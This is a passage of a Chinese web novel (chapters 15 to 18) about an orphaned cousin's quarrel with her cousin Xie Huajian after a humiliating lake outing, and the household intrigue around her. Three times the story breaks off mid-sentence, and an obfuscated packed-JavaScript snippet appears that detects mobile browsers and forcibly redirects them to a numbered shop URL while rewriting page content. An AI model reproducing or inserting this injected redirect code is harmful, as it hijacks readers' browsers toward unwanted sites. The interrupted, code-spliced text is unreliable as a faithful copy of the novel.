——另一边的公子们听不清对话,只瞧见一桌姑娘边点茶边说了些什么,随后那位表姑娘便面色不虞地走了,慕家二小姐拉都拉不住。 他们顿时好奇地抻脖望了过去。 裴澈用手肘戳戳谢骅涧,悄悄道:“喂,你妹妹好像不高兴。” 谢骅涧道:“我没瞎,看得出来。” “她是不是跟你二姐姐吵架了?我看慕二姑娘表情也不太对劲。” “……”谢骅涧拧眉瞥了一眼,却见慕流筝当真一脸无措地站在原地,神情颇为尴尬不安。 裴澈兴致勃勃:“姑娘家心思最是敏感细腻,也不知她们为何吵起来,骅涧,你准备先安慰哪个?” “安慰个毛。”谢骅涧直接将他推到一边,“那是女眷的场合,又没动起手,我去做什么?” 确实。 都是云英未嫁的姑娘,即便是为了交际而来,他们外男贸然出面也委实不大好。 裴澈无趣地坐了回去,对旁边席霖之道:“这位表姑娘也算传奇人物,每次露面都……霖之?” 他一转头,席霖之人却已不见了。 15. 自尊 双手搭在朱红护栏上,乔絮晚远眺湖畔荷叶睡莲,任由掠过湖面的风将蒙住眼眸的水雾吹干。 来这里之前,她不是没想过会受辱。 但当真正面临时,还是忍不住动摇崩溃。 她心想,或许以往在谢府受的所有委屈都没今日一个时辰多,又或者是以往的委屈都不如今日给她造成的影响大。 自己到底还是个没经过事的,如此轻易就落荒而逃。 眼眶差点要盛不住泪水时,耳边突然响起一道温润而迟疑的男声: “乔姑娘……你没事吧?” 乔絮晚立马眨了两下眼,将泪憋回去,转过头讶异道:“席二公子?” 席霖之礼貌地与她保持一人距离,挠挠后脑勺,不好意思地递去一块手帕:“那个……我见你好像不太开心,就、就来看看。” 乔絮晚盯了那帕子一会,缓缓接过。 “多谢。”她轻声道。 席霖之却好似更加窘迫。 他同样把双肘搭在护栏上,抓耳挠腮好一阵,才低低地说:“抱歉,我没想到会出现这种情况。” “不怪你,是我自己胡乱发脾气,惹得大家不高兴了。”乔絮晚垂着头,虚情假意道。 “别这样说!你又何错之有!”席霖之急急道。 他自然听不出她在说假话,只当她是太过乖觉,将错都揽到自己身上,于是心中愧疚愈盛:“我也不知刚才发生了什么,但我明白,不论发生什么,都定然不是你的问题。我虽与姑娘结识没多久,却也能看出来,姑娘不是个坏心眼的人,是这京城人情往来过于复杂,又不乏心高气傲之人,姑娘头一遭出来,难免会受些气,也……也是我大意了。” 乔絮晚冷静道:“不,我会受气,最主要的原因不是这个,是我的身世。”她直直看着席霖之,道:“席二公子应当也听说了我的身世,这样,您还打算继续同我来往吗?” “……”席霖之默了片刻,道:“前些年,我一直都在外游历,对京城里一些……事情,不太了解,那日烧尾宴过后,家中父母对我讲过一二,也劝我规束言行,但我认为这都算不得什么!” “出身并非自己能选择,姑娘受困于夹缝之中,却不自怨自艾怨天尤人,已为可贵。我与谢兄自幼相识,他家的情况我多少了解些,慕大娘子去世后,他在家里过得也很不顺遂,只是他自个儿够厉害,硬生生搏出了一条路。谢兄贵为世子尚且如此,姑娘的辛苦,我也能猜想到些许。” 乔絮晚眼底的冷漠稍稍化去,再看向他时,多了少许真意,“席公子……是宽厚之人,必定福禄绵长。” 席霖之羞赧地笑了笑,惭愧道:“这次游湖是我不对,贸贸然请了乔姑娘来,害得姑娘难过。要不我们下次——” “下次如何?” 谢骅涧极高的身姿霎时出现在两人之间。 席霖之冷不丁吓了个倒仰,连忙扶住护栏,骇然道:“谢兄你要吓死我啊!” 谢骅涧一挑眉:“哟,聊得还挺投入,连我过来了都没发现。” 席霖之:“……” 被谢骅涧背对着的乔絮晚也不由得倒退一步,别扭地问:“你来这干嘛?” 谢骅涧转过身:“你这什么语气?我还不能过来了?” “我跟席公子好好说着话,你平白无故挡在我们中间,难道你还有理了?”乔絮晚脸色差极。 谢骅涧于她,是兄长,是玩伴,是这谢家大宅乃至京城里唯一的依靠。 这十年来从未变过。 可他于她而言是唯一,她于他却不是。 回想谢骅涧方才跟慕流筝亲近的模样,乔絮晚心中膈应万分,仿佛最心爱的玩具物品被人生生抢走了一般,是以这会子看见他就无比烦躁。 谢骅涧显然不懂她闷气的真正缘由,还以为她是在因慕流筝她们而闹脾气,于是蹙紧了眉道:“你这是怎么了?气性这么大,是二姐姐她们惹到你了?” “……惹到我?”乔絮晚瞪大了眼睛看着他,良久,冷笑一声:“二姐姐温柔大方,哪里会惹到别人啊?是我自己小家子气,矫揉造作罢了,表兄还是去看看二姐姐吧,别在我这里浪费时间,我还想和席公子继续说话呢。” 猝不及防被提到的席霖之顿时噤若寒蝉。 然而谢骅涧并没分出心搭理他。 他凝视着乔絮晚,缓缓重复道:“表兄……?” 乔絮晚冷着脸不回应,转身欲走,却被谢骅涧一把抓住手腕—— “停船!” 他厉声对席霖之喊道! 席霖之一个哆嗦,屁滚尿流地跑进船舱让舵手停船靠岸。 当着一众人的面,乔絮晚就这么被拽着手腕强行拖向下船的地方。 好不容易消下去的羞耻心在此刻又到达了巅峰,她拼着全身的劲儿试图将腕子从他手中挣脱出来,可惜毫无用处,反倒把自己累得面色涨红。 “放手!”她竭力压低嗓音怒斥道。 “表弟!你这是做什么!”慕流筝眼见情势不对,赶忙跑过来拥住乔絮晚,焦急地对谢骅涧道:“有什么话不能好好说!乔妹妹又不是故意跟人闹不愉快的,你何必这么对她!” 乔絮晚挣扎的动作顿了顿,斜觑了她一眼。 谢骅涧忍着火气道:“二姐姐你先放开,我只是有些话需要单独跟她说。” “不行!就你这一副像是要对她动手的样子我怎么可能放开!”慕流筝坚定道。 被她这般贴身拥着的乔絮晚心里更烦,但又不好太粗暴地给她推开,于是没好气道:“没事,二姐姐,我们平时就这样闹着玩的,你先放开吧。” 慕流筝微愣。 她略显局促地松开手,干笑道:“啊……是吗?那就好,我看你们这表现,还以为是要打架呢。” 看出她的尴尬,谢骅涧临下船之前还是耐心补充了一句:“这次的事皆是阿晚的不对,等下回见面我让她给姐姐道个歉。” 乔絮晚胸口一窒。 慕流筝连忙道:“不必不必!乔妹妹没有错,都是我们,也不了解妹妹,就擅自说这说那的,让妹妹心情不好了。乔妹妹……阿晚,实在抱歉了。” 她歉意地对乔絮晚道。 一股酸意涌上喉口,乔絮晚咬了咬唇,半晌没答。 谢骅涧索性直接将她带下了船。 * “小娘!宝珠那边传消息过来说,大公子和表姑娘回来后直奔栖鸾院,脸色看着相当差,似乎是吵架了!” 赵嬷嬷急三火四地跑进厢房,对正在绣花的方鹭笙道。 宝珠和宝蝉即是观鹤居往栖鸾院塞的两个女使,耳聪目明,又忠心耿耿。 方鹭笙被这一声惊得险些扎到手,她将绣品往桌子上一丢,不耐道:“小声点,如此慌乱像什么样子!——那俩人今日不是出去游湖了吗?怎么玩还能玩出不高兴来?” 赵嬷嬷道:“宝珠说她也不清楚,但她看到是大公子强拉着表姑娘进的屋,两人一句话也不说,表姑娘脸上还挂着泪珠儿,进去之后大少爷让人叫青暮从他书房里抱一张琴去栖鸾院。” “琴?” 方鹭笙疑惑凝眉。 然而不久,她又展颜笑了开来:“原来是这样……野丫头这么多年没人教导闺阁礼仪,怕不是在外与世家小姐们会面,跌了面儿,心里难受才哭的。” 赵嬷嬷问:“那大公子又为何不悦呢?难道是也嫌她丢人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561497|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方鹭笙悠悠抿了口茶,道:“也许吧,那位少爷也是个爱面子的,从自家带出来的乡下妹妹一无是处,他颜面上自然也同样过不去。——呵,有娘生没娘养的野种差不多也就这样了。” 赵嬷嬷也笑起来。 安静一阵,方鹭笙放下茶盏,道:“康福堂那边应当也知晓这事儿了,以老太太的聪明,不会猜不出来。等今晚官人来我这用饭,我稍微提一嘴,看看他们母子俩是何反应。” * 栖鸾院,书房。 拂月小心地擦净桌案,将伏羲琴摆了上去,随后不声不响地退出空气仿佛被冻结住的书房。 “跪好。” 谢骅涧手里调着琴弦松紧,淡声道。 歪歪跪坐在蒲团上的乔絮晚腰背僵硬一瞬,仍是叛逆又懒散地歪坐。 “你在船上跟二姐姐她们发脾气,是因为不会抚琴吗?” 当时令翩然声音不低,谢骅涧听得分明,却明知故问。 乔絮晚偏着头不答。 他兀自道:“自母亲去世后,家里一直没请人来教你这些基本的技艺,这是谢府的错,你不必觉得丢人。” “表兄言过了,千错万错都是我的错,与旁人何干?”乔絮晚嗓音凉薄。 “……”谢骅涧将目光从琴弦移至她身上,“你是在怨我承诺让你道歉?” “我哪里来的资格埋怨表兄?做错事的人确实是我,大家开春第一次踏青,就被我弄得这么不愉快,下次与二姐姐等人见面,我必当众负荆请罪,下跪磕头,什么时候姐姐愿意原谅我了,我再起身。” “乔絮晚,自轻自贱很有意思?” 不知隔了多少年,谢骅涧再次连名带姓地唤她,声线冷到了极致。 乔絮晚心头一颤,细白手指不自觉地紧绞在一起。 她静了片刻,道:“表兄这话我就不明白了,说都是我不对的人是你,让我别自轻自贱的人也是你,你到底要我怎样呢?” “我不过让你说一句抱歉,你怎么就要负荆请罪下跪磕头了?” “让我说一句抱歉还不如让我下跪磕头!” 她微红的双目与谢骅涧对视,良久,转过头,“你想让我道歉,不可能,除非你砍了我的脑袋带过去,跟她一个字一个字的比口型。” “……” 谢骅涧没有回应。 他状若未闻,自顾自在琴上比划起来,“琴这个东西,你也曾学过,现今捡起来不难,我教你回忆一下指法,然后背几张谱子,下回让你弹便也会了。” 乔絮晚默不作声,但满脸都是抗拒。 “手放上去。”语气带着几分命令的味道。 “……” “我再给你一次机会。” 乔絮晚依旧不理。 谢骅涧盯了她半晌,坐到她背后,双膝分开跪在她身体两侧,强硬地抓起她的手放到琴弦上! “我不学!!” 乔絮晚激烈地挣扎起来,两只纤白小手握紧又张开,将琴弦拨弄出乱七八糟的声响。 奈何她一个四体不勤的闺阁少女,实在无法与能徒手拉开一石强弓的谢骅涧臂力相抗衡,两手被死死摁在琴上,半点挪动不了。 没一会她便累了,谢骅涧许是也没了耐心,直接松了手。 乔絮晚没控制住火气,一把将琴推到地面! 咚! 只听一声闷响,木制琴身浮现出蛛丝般的细微裂痕。 裂痕不大,但这张价值千金的伏羲琴总归是毁了。 乔絮晚呼吸急促,身子坐得板直,却也不难看出轻微的颤抖。 谢骅涧良久没作声。 他站起身,径直离开了书房。 16. 转变(一) “骅涧就直接走了,也没再对那乔絮晚多说什么?” 康福堂内,用过午膳后,谢老太太李音靠着引枕,问身边的孔嬷嬷。 孔嬷嬷道:“是,听说两人都气得不轻,屋子里摔摔打打的,大公子出来的时候脸上就跟结了冰似的,后来女使们进去一看,琴也是掉在地上摔坏了,笔挂砚台也扔得到处都是,可吓死个人。那乔姑娘真是越来越无法无天了,算个什么东西,也配在哥儿面前耍威风!” 李音淡淡道:“吵一吵也好,过去芷兰疼她太过,本就让她有些失了分寸,尔后芷兰快走了,又嘱托骅涧平素对她多加照拂,有这两个在前头挡着,就算我放任下人还有方鹭笙对她明里暗里打压欺侮也无济于事。如今骅涧不再给她提供庇护,再有何风浪艰辛那可就没人保她了。” 孔嬷嬷醒悟道:“莫非老太太前几日同意让她出门游湖,为的是这个打算?” “不止于此。”李音道,“说句实在话,咱们这国公府的人还是太少了些,她过往在这儿遇到的各种不顺压根算不得什么事,不管是长辈的训诫还是下人的怠慢,这么多年过去对她来说早就如同家常便饭,更别提还有骅涧在背后帮助,无需她自个儿为此伤神。” “她这个年纪,终究还是得出门经历经历同龄姑娘家之间真正的较量,才能明白自己的粗鄙无礼,才能学会谦逊顺从。这样一来,日后不管是嫁人还是回到慕家生活,都不至于太丢人现眼,让旁人以为我们谢家给她的教养就是如此,没的让我们谢家一道跌了份儿。” 孔嬷嬷笑道:“老太太当真思虑周全。” 李音摆摆手,“今晚上官人来请安,你把方鹭笙还有乔絮晚都叫来,也该把慕家的事情敞开说说了。” “那大公子呢?” “那孩子现在正是忙的时候,让他好生歇息吧,总归是后宅大院的事儿,与他也无甚干系,有官人做个决定就行了。” 孔嬷嬷颔首道:“是。” * “青霭,你可得帮帮忙呀!” 后院林间隐蔽的小径上,拂月抓着青霭的袖子哭得不行,好像下一秒就要给他跪下了,“小姐现今处境不好,倘若大公子为此跟小姐生了嫌隙,以后都不肯出手相助,那她真不知要过什么苦日子了啊!青霭你行行好青霭,劝劝大公子莫要再跟她生气,我家小姐也是心里真的难过才会说些不好听的话,她不是有意的!” 青霭素来跟个哑巴一样笨嘴拙舌,这会子也不晓得该怎么安慰她,手忙脚乱半天后才磕绊道:“别、别哭了,我帮你就是了!我……我叫青暮在大公子跟前说些好话,他嘴皮子一贯最利索,定能把大公子哄开心了!” “好好!只要能让大公子回心转意怎么都成!这些你拿着,还有这袋,给青暮的,就当我在此提前谢过你们!”拂月从怀里掏出两个装满银子的荷包,塞到青霭手里。 青霭连忙推拒:“不必不必!几句话的事情而已,何况我和青暮人微言轻,大公子如若真气得厉害,我们两个便也没办法……” “没事,哪怕只有两句好话也行,谢谢你们!多谢多谢!”拂月死活不肯收回荷包,一个劲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561498|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠身道谢。 青霭实在没办法,只好将荷包往她的绣花鞋上一扔,转头撒腿就跑! “啊!”脚背被那沉甸甸的银子砸得生疼,拂月呲牙咧嘴着单脚跳起,无暇顾及跑掉的青霭。 青霭一刻不停跑回卧澜轩后,将栖鸾院还有拂月的事与青暮一并说了。 青暮急道:“方才大公子叫我把琴抱过去的时候我就觉着不对劲,到底发生啥了啊,这俩人怎地就能闹成这样?!” 青霭自然也答不上来,只傻愣愣地站在那。 两人正急得团团转之际,青暮忽然瞅见谢骅涧的身影,于是立马跑过去笑脸相迎:“大公子,您回来了!” “不然我还能去哪?”谢骅涧臭着一张脸反问。 “……哈哈,说得也是。” 这火气着实不小。 青暮悄悄搓着手,试探道:“大公子,那张琴……您给表姑娘使着了?” 谢骅涧脚步一顿。 青暮心中暗道不妙。 果然—— “琴?” 谢骅涧神情狠厉地看向他,怒道:“琴什么琴?!把这屋里的破琴全都给我扔了!!” 吼完后还嫌不够,他干脆踹开书房门走进琴室,将里面所有的琴全部掀下来砸到地面! 咚!砰! 一连串闷响从琴室顺着空气钻入人耳,直听得外面一众下人战战兢兢,抖若筛糠。 青暮声如细蚊地对青霭说:“你去……告诉拂月……这事儿怕是办不成……” 青霭苦丧着脸。 17. 转变(二) 琴室内惊天动地的声响总算平静下来。 青暮青霭对望一眼,哪个都不愿动,互相用眼神撺掇对方率先进去。 最后实在无法,还是由最为油嘴滑舌的青暮硬着头皮走了进去。 他做贼一般小心翼翼地跨过门槛,低声道:“公子?” 无人应答。 没迎面砸来什么东西已算喜讯,青暮胆子大了些,又往屋里探了两步,再度用气音喊道:“公子?” “要进就进,你是来偷东西的吗?” 满是不悦的声音蓦然冲进耳朵,吓得青暮差点软倒在地。 稳了稳心神,他两股战战地走进琴室,不期然看到坐在书桌后禅椅上、郁气绕身的谢骅涧。 终究是跟在身边多年的贴心人,青暮鼓起勇气凑到他身侧,小声问:“公子,这是遇到何事了啊?竟光火成这样。” “……”谢骅涧默了许久,道:“今日阿晚出门游湖,因不会弹琴跟人闹了不愉快,径自离席,还给了慕家二表姐好大个没脸,委实无礼。” 青暮笑道:“原来如此,听上去是过分了些。表姑娘现今处境艰难,虽有公子护佑,但终归不能时时刻刻活在他人羽翼之下,姑娘自个儿也总得学点为人处世的道理,当着一众世家大小姐的面,尤其是慕家小姐也在场,姑娘做出这种举动着实欠妥当。” 谢骅涧不语,显然是认可这番话的意思。 附和过后,青暮拎起茶壶斟了满杯凉茶递给谢骅涧,让他消消火,待他喝下后才道:“不过吧,依小人之见,这或许也不全是表姑娘的错,表姑娘生气,也或许不全是因为弹琴一事。” 谢骅涧饮了凉茶,心中燥气稍稍平复,道:“怎么说?” 青暮道:“公子恕小人多嘴。小人愚笨,不懂哥儿姐儿许多脸面上的礼仪,但平日里跟女使们多有交流接触,也勉强懂一点姑娘家的细腻心思。公子细想,表姑娘刚来府上那阵,也是谨小慎微,处处避让,然大娘子几乎是将姑娘当亲生的女儿宠着,方方面面无有不好,是以后来姑娘便也渐渐放开了,性子活泼又开朗,即使略有娇纵,也是极可爱的。” “大娘子仙逝后,老太太和方小娘虽待姑娘……不如何,可一面有大娘子分配到身边的得力女使在内相助,一面又有大公子您在外护着,姑娘基本也没受过什么委屈,就算有,您当场惩处了,再哄上两句,她便也不往心里去了。所以表姑娘骨子里其实还是个大小姐脾气,心气儿高,更要面子。抚琴也当是大家小姐的基本技艺了,弹得好是正常的,弹得差也确实丢脸,可若是连弹都不会弹……” 他觑着谢骅涧脸色,像是稍微松动些。 他继而道:“公子年少中举,又进了皇城司,见过世间百态,心胸眼界自是比常人更宽广的,可表姑娘去年年末才及笄,在此之前甚少外出,只能待在这一方深宅大院里,浇浇花逗逗雀儿,消磨时日,难得出门与同辈人交往,一时不懂得含蓄收敛也是可以理解的。” “姑娘现在啊,正是需要疼需要哄的时候,纵然公子有意磨练她的心性,也该委婉和煦些才是。姑娘高兴了,让她学什么不成?” 亲情牌同情牌双管齐下,谢骅涧面上的寒霜总算化去。 叹息一声,他道:“是这么个理。而且今日我待她……也过粗鲁了些。她给二表姐个没脸这事暂且放一边不提,我也同样下了她的脸面,实在是气糊涂了。” 青暮不解道:“如果只是因为表姑娘任性,公子应当不会气成这样,难道还有其他争论吗?” 谢骅涧沉吟少顷,道:“我在船上问她为何生气,她不仅语气极差,还唤我……‘表兄’。” 青暮:“?” “自她来府上,一直都喊的‘阿兄’,再生气也不过直呼我的名字,如今就为了一个外四路的表姐,她居然喊出‘表兄’这么生分的称呼!还把我跟老东西他们一同归为‘旁人’!换你你能忍吗?!” 青暮:“……” 真无语。 原来就为个破称呼。 青暮在心里翻了个白眼。 他自小服侍在谢骅涧身边,深知这帮公子哥有多难伺候,而今日,对此的认知明显又上了层台阶。 也不算愧对自己每月领的丰厚月钱了。 青暮一边腹诽一边故作惊诧地应和:“竟有这等事!太过分了,简直不可思议!” “……装得太过了。” 说出自己发怒的根本缘由后,谢骅涧显然也觉得这样是有点小肚鸡肠,于是又喝了口凉茶,转移话题道:“你说得也对,她以前不怎么出门,有点娇养出来的小性儿也正常,等今晚我去哄哄她,再想想办法教她磨磨性子。” “阿晚聪明有余,耐心不足,我总归没办法一直陪在她身旁,日后她回了慕家那个能吃人的地方,又或者嫁去了哪个花花肠子的夫家,要是还这般任性妄为,怕是要吃亏。” “公子说得是。” 青暮只得应和。 * 是夜。 银箸与瓷碗碰撞声细碎,方鹭笙侧眸瞧着谢凌数年来淡然如一日的面容,笑着夹了一筷子菜放进他碗里。 “官人在想什么?”她柔柔问道。 谢凌眼眸微动,随口道:“一些朝堂上的政事罢了。” 方鹭笙道:“官人是得官家重用的肱骨之臣,为朝野政务日夜忧思,鞠躬尽瘁,自是极好的,只是,妾身也望官人莫要因此累坏了身子,看您劳心伤神至此,连用饭都心不在焉,妾身实在难受得紧。” 她蹙起秀美的柳叶眉,眼中满是担忧。 谢凌笑道:“就别说这些场面话来吹捧我了,我想的又不是什么关乎民生的正经大事。” 方鹭笙奇道:“那是何事值得官人如此牵挂?” “上次烧尾宴过后,乔丫头要议亲的消息也算放出去了,我这边还没做什么呢,慕家人就日日风声鹤唳草木皆兵,四处打探消息,搞得我都有些紧张了。”谢凌闲闲一笑。 方鹭笙眸光一凝,姿态却是更加柔顺:“堂堂世家,竟被一个小姑娘惊吓成这样,真让人意外,难道他们还担心这小姑娘给他们招来什么灭顶之灾不成?” “千里之堤溃于蚁穴,更何况一个大活人。这孩子领回去会发生什么,谁又知道呢。”谢凌随意回道。 眼看这晚饭要吃到尾声,方鹭笙抓紧时机道:“说起乔丫头,她今日还跟骅涧一道出去游湖了呢。” “嗯,我记得,俩孩子玩得如何?” “……”方鹭笙欲言又止,面露为难之色。 谢凌放下碗筷,皱眉道:“出事了?” 方鹭笙连忙摆手:“不,那倒没有!……妾身实则也不了解内情,只是看两个人回来时脸色都不大好看,骅涧还叫人从自己书房抱了琴过去,结果出来的时候琴也摔坏了,听下人说……两人好像是吵架了。” “吵架?” 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慕芷兰的名字一入耳,方鹭笙登时浑身僵硬,再见谢凌这反应,她便知道自己玩脱了。 大脑飞速运转,她“砰”的一声跪到地上,手帕掩面泫然欲泣: “官人明鉴!并非是妾身忽视乔姑娘,不为她请教学先生和嬷嬷。大娘子仙逝后,妾身也有意经手对乔姑娘的管教,但作为一介妾室,妾身纵使有执掌中馈之权也不可随意出府,更不认识多少能够教育世家小姐的先生嬷嬷,自个儿膝下又有两个尚且年幼的孩子,另一方还要顾着对骅涧的照料。” “官人也知道,骅涧一直因大娘子的死记恨妾身,妾身大半心思都放在如何化解他心里嫌隙一事上,便是有心教导乔姑娘,也实在分身乏术啊官人!” 慕芷兰的死可以说是谢家全家的心坎,谢凌本也不愿多提,此时看方鹭笙哭得这么悲戚,便烦闷地一挥手,道:“行了行了,我又没真的怪你,一会还要给老太太请安呢,哭成这么一副要奔丧的样子成何体统。” 方鹭笙:“……” 她瞬间收了声,擦擦眼泪,被侍女扶着坐回凳子上。 谢凌一根手指在桌面上敲了敲,思忖片刻,道:“这事儿老太太知道吗?” “白天发生的事,这会应该也已传到婆母那边了。” “行,那等看看老太太怎么说的。” 谢凌站起身,方鹭笙也顺势站起来替他整理衣服。 白腻的小手滑过衣襟,细指在男人结实的脖颈处流连徘徊,无端生出几分暧昧缱绻。 谢凌捉住她的手,略微垂眸。 方鹭笙眼圈还红着,却并不难看,反而更显娇美怜怯,羞红的粉颊依依靠进他怀里,吐气如兰:“官人……前几日无瑕从书塾回来,说先生夸他了呢。” “哦?夸他什么?” “他在课上作诗,先生说他诗词做得比别家孩子都要好,将来……必定是栋梁之材……”方鹭笙眨了眨如水的眸,款款道:“今晚请安回来后,主君要不要看看他做的诗词?” 谢凌会意,一手揽住她柳枝般细软的腰,道:“等请安回来,时候也不早了,无瑕该要睡了吧?” 怀中美人羞涩地勾起唇角,微微踮足,接近他的唇:“无事,他写在了纸上,妾身……可以读给官人听。” 谢凌笑而不语,意味深长地看着她。 18. 转变(三) “屋里那个总算跟大公子闹翻了,整日拿主子的款儿,看以后还有谁给她撑腰!” 栖鸾院,宝珠撅着嘴唇,幸灾乐祸地对宝蝉说。 宝蝉道:“可不是,平素大家都是看在大娘子和公子的份儿上才给她三分脸面,她倒好,一点自觉都没有,真把自己当正经姑娘了。” “她也不想想自个儿来历,娘老子一个比一个拿不出手,厚着脸皮攀亲道故送到这儿了,还不知收敛。” “也亏得她愣头愣脑的不会讨好人,白长一张好脸,这要换个歪心思的狐狸精,估计这会子已经往大公子床上爬了!” “去去去!什么话都乱说,大公子的床也是她那种人能爬的?我爬都比她爬强!” “嘿你个——” “乱嚼什么舌根呢!活儿都干完了吗!”玉檀站在台阶上大声质问道。 宝珠宝蝉两人吓了一跳,齐齐回头,瞧见玉檀的一瞬却又变得漫不经心。 宝珠散漫道:“早就干完了——就这么个破院子,拢共又能有多少活儿。” 后半句虽是嘀咕,声音却也没多小。 玉檀柳眉倒竖,几步冲到她面前,声色俱厉道:“这院子是大娘子亲自拨给姑娘的,哪容得你个丫鬟来嫌破?再破也比你那寒酸的下人房强!” 宝珠登时涨红了一张脸,毫不客气地反驳:“什么叫我的下人房?难不成你有自己的院子住?梅香拜把子都是奴才,你哪来的资格说这种话!” 玉檀昂着头颅:“我自然知道我是奴才,我也清楚我跟的是哪个主儿,可我看,有些人倒是丁点自知之明都没有!一个丫鬟反倒议论起姑娘来了,没规没矩的东西!我看你是在贵人身边待久了就以为自己一身三两重的贱骨头有多金贵,全然忘了自己是什么来路什么货色!” “你——!” 宝珠当即就要跟她动起手来,却被一旁的宝蝉死死拉住,“好了好了!你跟她吵这些有什么意义!” 宝蝉在她耳边低声道:“她怎么说当初也是大娘子的人,咱们从小娘院子里出来的,要是闹到老太太跟前,捞不着便宜!” 宝珠这才作罢,朝玉檀愤愤然地啐了一口:“孝敬这么个主子,将来有你吃苦头的时候!” 玉檀气得浑身发抖。 旁边的百合鸢尾见了,忙上前拍她的背顺气安抚:“玉檀姐别生气,为两个小蹄子气坏身子可不值当!” 隔着一段距离,被李音派来的鹦儿和翠蝶则镇定许多,立在原地静观其变。 待各自散去,鹦儿低声道:“方姨娘屋里出来的这两个小丫头未免太焦躁了些,真随了她们那不安生的主子。” 翠蝶道:“观鹤居的吃穿用度一向大方,便是下人也过得相当滋润,你看宝珠头上带的那金簪子,几乎就不像丫鬟能使起的。这两人一朝来了这贫寒的栖鸾院,觉得受气也正常。不必管这种没脑子的东西,左右比心机深沉来得强。” 鹦儿点头道:“也是。不过她们在这吵得这么大声,也不知屋里那人听到没有。” 翠蝶轻笑:“听到又何妨?她又能做什么?” ——厢房内。 嘈杂声起之初,拂月便已站在窗口偷偷观望,等纷争平息之后才忧心忡忡地返回床沿,端起盛满漆黑药汁的瓷碗,对缩在被窝里的人尽心劝说道: “小姐,起码喝一口药吧,一会还要向老太太请安,万一半路晕倒可就不好了。” 乔絮晚不回应,背对着她,隐约能听到吸鼻子的声音。 拂月心里发愁。 自下午大公子走后到现在,小姐先是泣不成声地哭了许久,而后脑袋发晕,躺在床上浅眠一阵,一边睡着一边身体就发起热来,醒来后饭也不吃药也不喝,就这么颓丧地躺着,动也不动。 当年夫人的底子本就不好,孕期更是郁结于心,导致小姐从娘胎里带了弱症,再这样糟践下去,怕是连命都要折去半条。 想到这,拂月咬了咬牙,将碗放到床边木柜上,道: “小姐,您便是这么颓废下去又有何用?就算小姐今日哭死在这院子里,也不过是亲者痛仇者快罢了!谢家的老太太和方姨娘舒了心,慕家人也得了意,大公子又还气着您,顶多伤怀个一两天便照样潇洒去!最后留奴婢一个抱着小姐木塑泥糊的碑,哭都没地儿哭!” 她本意是想劝解,然而说着说着,也不禁落下两行泪。 蒙在被子里的啜泣声停歇,乔絮晚转过身,嗓音哑得不行:“……拂月你个没良心的,我还没怎么地,你就开始想起我的身后事了,这么多年真是白疼你……” 拂月眼泪就跟开了闸的洪水似的,一个劲往下掉:“还不是小姐不让人省心!没的作践自己,拂月便是操碎了心又能如何!” 见她哭成这样,乔絮晚也过意不去,艰难地撑起上身,安慰她道:“我只是心情不好而已,没有作践自己,你别难过。” 只说了这么两句,就又头昏脑胀起来,她不由得伸手揉了揉额角。 拂月泪眼朦胧地看着她,道:“其实奴婢一直有些话,压在心底没敢对小姐说。本以为凭小姐的聪明才智应当能自己想通的才是,可就现如今看来,哪怕小姐觉得冒犯,奴婢也不得不说了。” 乔絮晚不免讶异。 她顶着昏沉沉的脑子道:“谈什么冒犯,你我从小一起长大,情同手足,我现在最依赖最信任的也只有你,便是阿兄也无法比拟。这里只有我们,你也不必再自称什么奴婢,有话尽管直说吧。” 拂月给她喂了口温水润嗓醒神,道:“好,可在此之前,奴……我想先问一句,小姐今日为何跟大公子闹得如此不愉快?” 乔絮晚道:“也不是什么大事……咳……不过游湖时,平白遭人羞辱了一顿,阿兄也不明是非,让我下次给她们道歉,我实在忍受不了,就……” 拂月了然。 她拿帕子擦了擦乔絮晚鬓角虚汗,缓缓道:“说到底,还是为了面上的事吵起来的,是吗?” 乔絮晚犹豫了一下,点点头。 拂月道:“我想与小姐说的话,实则也与这个相干。小姐,今时不同往日,以往您在谢府上,前有姨母后有大公子相护,即便老太太和方姨娘刻薄您,也不过略施些长辈的威压,只当耳旁风过去,也都算不得什么事。” “可您现今及笄了,要面对的就不再是谢府里这抬头不见低头见的一干人,您要走出这个房门,跟更多不一样的人交际,王公贵族也好,三教九流也罢,百人千相人心难测,对待外人,小姐万万不可再将面子和一时输赢看得如此之重!” 乔絮晚愣怔地盯着她。 拂月苦涩笑道:“小姐是不是没想到我会说出这番大道理?” 乔絮晚摇头道:“不……你是个机灵的,我知道,我只是……有些意外。” 拂月握住她冰凉的手,恳切地说:“从前一直是小姐教导我各种眉眼高低出入上下,如今轮到自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565997|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 